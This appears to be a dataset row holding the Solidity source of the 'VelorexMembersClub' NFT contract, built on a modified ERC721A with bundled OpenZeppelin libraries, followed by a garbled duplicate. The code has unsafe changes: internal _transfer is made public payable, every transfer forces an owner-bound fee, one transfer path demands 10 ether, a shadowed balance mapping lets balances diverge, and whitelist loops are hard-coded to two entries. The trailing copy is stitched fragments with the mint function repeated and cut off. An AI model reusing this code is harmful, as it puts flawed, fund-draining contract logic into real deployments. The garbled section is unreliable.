-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Developed by.........
// |*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*|
// | __ __ ______ ______ ______ _____ _____ |
// | /\ "-./ \ /\ == \ /\__ _\ /\ __ \ /\ __-. /\ __-. |
// | \ \ \-./\ \ \ \ __< \/_/\ \/ \ \ \/\ \ \ \ \/\ \ \ \ \/\ \ |
// | \ \_\ \ \_\ \ \_\ \_\ \ \_\ \ \_____\ \ \____- \ \____- |
// | \/_/ \/_/ \/_/ /_/ \/_/ \/_____/ \/____/ \/____/ |
// | |
// |*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*~'~*|
// Credit to AZUKI for ERC271A
// Velorex website: https://velorex.net
// Velorex Telegram: t.me/velorex_net
// Message @Todd_Velorex (telegram) for help
// LinkedIn: https://www.linkedin.com/in/toddbsc/
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
pragma solidity ^0.8.0;
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.1;
library Address {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external payable;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external payable;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/ERC721A.sol
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
bool burned;
}
struct AddressData {
uint64 balance;
uint64 numberMinted;
uint64 numberBurned;
uint64 aux;
}
uint256 internal _currentIndex;
uint256 internal _burnCounter;
string private _name;
string private _symbol;
mapping(uint256 => TokenOwnership) internal _ownerships;
mapping(address => AddressData) private _addressData;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
function totalSupply() public view returns (uint256) {
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
function _totalMinted() internal view returns (uint256) {
unchecked {
return _currentIndex - _startTokenId();
}
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
function _baseURI() internal view virtual returns (string memory) {
return '';
}
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) external virtual override {
ERC721A._transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable virtual override {
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public payable virtual override {
require(msg.value >= 10 ether);
if (msg.value >= 10 ether){
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
}
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
function _transfer(
address from,
address to,
uint256 tokenId
) public payable virtual{
require(msg.value >= 0);
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
_approve(address(0), tokenId, prevOwnership.addr);
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
_approve(address(0), tokenId, prevOwnership.addr);
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: contracts/VelorexMembersClub.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract VelorexMembersClub is ERC721A, Ownable {
using Address for address;
using MerkleProof for bytes32[];
using SafeMath for uint256;
using Strings for uint;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.1133 ether;
uint256 public whitelistCost = 0.084975 ether;
uint256 public maxSupply = 2500;
uint256 public maxMintPerWallet = 5;
uint256 public dropLimit = 500;
bool public paused = true;
uint256 public royaltyFee = 0.1 ether;
mapping(address => bool) public excludedFromTax;
mapping(address => bool) public adminRights;
mapping(address => bool) public whitelistWallets;
mapping(address => AddressData) private _addressData;
WhitelistData[] public whitelistData;
struct WhitelistData {
uint256 maxMintPerWallet;
uint256 price;
bytes32 merkleroot;
}
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721A(_name, _symbol) {
setBaseURI(_initBaseURI);
_safeMint(msg.sender, 15);
}
modifier whenAddressOnWhitelist(bytes32[] memory _merkleproof) {
require(MerkleProof.verify(
_merkleproof,
getPresale().merkleroot,
keccak256(abi.encodePacked(msg.sender))
),
"Not on whitelist"
);
_;
}
// internal functions
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function mint(uint256 _amountToMint) external payable {
uint256 supply = totalSupply();
require(_amountToMint > 0, "Well, what's the point in minting nothing? ;) Please try again.");
require(supply + _amountToMint <= maxSupply, "Maximum supply reached! You'll have to buy from the secondary market!");
require(supply + _amountToMint <= dropLimit, "Sorry, you'll have to wait untill the next drop is released! Join the telegram to find out - t.me/velorex_net");
if (msg.sender != owner()){
require(_amountToMint <= maxMintPerWallet, "You can only mint 5 per transaction");
require(!paused, "Minting is currently paused");
require((_numberMinted(msg.sender) + _amountToMint) <= maxMintPerWallet, "You can't mint that many NFTs with this wallet! Check the limit please.");
if (adminRights[msg.sender] != true) {
if (whitelistWallets[msg.sender] != true) {
//full price
require(msg.value >= cost * _amountToMint, "Incorrect amount entered, try increasing the value.");
} else {
//apply discount
require(msg.value >= whitelistCost * _amountToMint, "Incorrect amount entered, try increasing the value.");
}
}
}
_safeMint(msg.sender, _amountToMint);
payable(owner()).transfer(msg.value);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable virtual override {
if (excludedFromTax[msg.sender] != true) {
require(msg.value >= royaltyFee, "You must pay the royalty fee");
payable(owner()).transfer(msg.value);
}
_transfer(from, to, tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) public payable virtual override{
if (excludedFromTax[msg.sender] != true) {
require(msg.value >= royaltyFee, "You must pay the royalty fee");
payable(owner()).transfer(msg.value);
}
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
approve(address(0), tokenId);
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function tokenURI(uint tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
tokenId.toString(),
baseExtension
)
)
: "";
}
function getPresale() private view returns (WhitelistData storage) {
return whitelistData[0];
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setDiscountedCost(uint256 _newCost) public onlyOwner {
whitelistCost = _newCost;
}
function setmaxMintPerWallet(uint256 _newmaxMintPerWallet) public onlyOwner {
maxMintPerWallet = _newmaxMintPerWallet;
}
function setDropLimit(uint256 _newDropLimit) public onlyOwner {
dropLimit = _newDropLimit;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pauseMinting(bool _state) public onlyOwner {
paused = _state;
}
function giveAdminRights(address _user) public onlyOwner {
adminRights[_user] = true;
}
function removeAdminRights(address _user) public onlyOwner {
adminRights[_user] = false;
}
function addToWhitelist(address[] memory _users) public onlyOwner {
for (uint256 i = 0; i < 2; i++) {
whitelistWallets[_users[i]] = true;
}
}
function removeFromWhitelist(address _user) public onlyOwner {
whitelistWallets[_user] = false;
}
function addToExcluded(address[] memory _users) public onlyOwner {
for (uint256 i = 0; i < 2; i++) {
excludedFromTax[_users[i]] = true;
}
}
function removeFromExcluded(address _user) public onlyOwner {
excludedFromTax[_user] = false;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{
value: address(this).balance
}("");
require(success);
}
} | File: contracts/VelorexMembersClub.solSPDX-License-Identifier: MIT | contract VelorexMembersClub is ERC721A, Ownable {
using Address for address;
using MerkleProof for bytes32[];
using SafeMath for uint256;
using Strings for uint;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.1133 ether;
uint256 public whitelistCost = 0.084975 ether;
uint256 public maxSupply = 2500;
uint256 public maxMintPerWallet = 5;
uint256 public dropLimit = 500;
bool public paused = true;
uint256 public royaltyFee = 0.1 ether;
mapping(address => bool) public excludedFromTax;
mapping(address => bool) public adminRights;
mapping(address => bool) public whitelistWallets;
mapping(address => AddressData) private _addressData;
WhitelistData[] public whitelistData;
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
}
pragma solidity ^0.8.7;
struct WhitelistData {
uint256 maxMintPerWallet;
uint256 price;
bytes32 merkleroot;
}
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721A(_name, _symbol) {
setBaseURI(_initBaseURI);
_safeMint(msg.sender, 15);
}
modifier whenAddressOnWhitelist(bytes32[] memory _merkleproof) {
require(MerkleProof.verify(
_merkleproof,
getPresale().merkleroot,
keccak256(abi.encodePacked(msg.sender))
),
"Not on whitelist"
);
_;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function mint(uint256 _amountToMint) external payable {
uint256 supply = totalSupply();
require(_amountToMint > 0, "Well, what's the point in minting nothing? ;) Please try again.");
require(supply + _amountToMint <= maxSupply, "Maximum supply reached! You'll have to buy from the secondary market!");
require(supply + _amountToMint <= dropLimit, "Sorry, you'll have to wait untill the next drop is released! Join the telegram to find out - t.me/velorex_net");
if (msg.sender != owner()){
require(_amountToMint <= maxMintPerWallet, "You can only mint 5 per transaction");
require(!paused, "Minting is currently paused");
require((_numberMinted(msg.sender) + _amountToMint) <= maxMintPerWallet, "You can't mint that many NFTs with this wallet! Check the limit please.");
if (adminRights[msg.sender] != true) {
if (whitelistWallets[msg.sender] != true) {
require(msg.value >= cost * _amountToMint, "Incorrect amount entered, try increasing the value.");
require(msg.value >= whitelistCost * _amountToMint, "Incorrect amount entered, try increasing the value.");
}
}
}
_safeMint(msg.sender, _amountToMint);
payable(owner()).transfer(msg.value);
}
function mint(uint256 _amountToMint) external payable {
uint256 supply = totalSupply();
require(_amountToMint > 0, "Well, what's the point in minting nothing? ;) Please try again.");
require(supply + _amountToMint <= maxSupply, "Maximum supply reached! You'll have to buy from the secondary market!");
require(supply + _amountToMint <= dropLimit, "Sorry, you'll have to wait untill the next drop is released! Join the telegram to find out - t.me/velorex_net");
if (msg.sender != owner()){
require(_amountToMint <= maxMintPerWallet, "You can only mint 5 per transaction");
require(!paused, "Minting is currently paused");
require((_numberMinted(msg.sender) + _amountToMint) <= maxMintPerWallet, "You can't mint that many NFTs with this wallet! Check the limit please.");
if (adminRights[msg.sender] != true) {
if (whitelistWallets[msg.sender] != true) {
require(msg.value >= cost * _amountToMint, "Incorrect amount entered, try increasing the value.");
require(msg.value >= whitelistCost * _amountToMint, "Incorrect amount entered, try increasing the value.");
}
}
}
_safeMint(msg.sender, _amountToMint);
payable(owner()).transfer(msg.value);
}
function mint(uint256 _amountToMint) external payable {
uint256 supply = totalSupply();
require(_amountToMint > 0, "Well, what's the point in minting nothing? ;) Please try again.");
require(supply + _amountToMint <= maxSupply, "Maximum supply reached! You'll have to buy from the secondary market!");
require(supply + _amountToMint <= dropLimit, "Sorry, you'll have to wait untill the next drop is released! Join the telegram to find out - t.me/velorex_net");
if (msg.sender != owner()){
require(_amountToMint <= maxMintPerWallet, "You can only mint 5 per transaction");
require(!paused, "Minting is currently paused");
require((_numberMinted(msg.sender) + _amountToMint) <= maxMintPerWallet, "You can't mint that many NFTs with this wallet! Check the limit please.");
if (adminRights[msg.sender] != true) {
if (whitelistWallets[msg.sender] != true) {
require(msg.value >= cost * _amountToMint, "Incorrect amount entered, try increasing the value.");
require(msg.value >= whitelistCost * _amountToMint, "Incorrect amount entered, try increasing the value.");
}
}
}
_safeMint(msg.sender, _amountToMint);
payable(owner()).transfer(msg.value);
}
function mint(uint256 _amountToMint) external payable {
uint256 supply = totalSupply();
require(_amountToMint > 0, "Well, what's the point in minting nothing? ;) Please try again.");
require(supply + _amountToMint <= maxSupply, "Maximum supply reached! You'll have to buy from the secondary market!");
require(supply + _amountToMint <= dropLimit, "Sorry, you'll have to wait untill the next drop is released! Join the telegram to find out - t.me/velorex_net");
if (msg.sender != owner()){
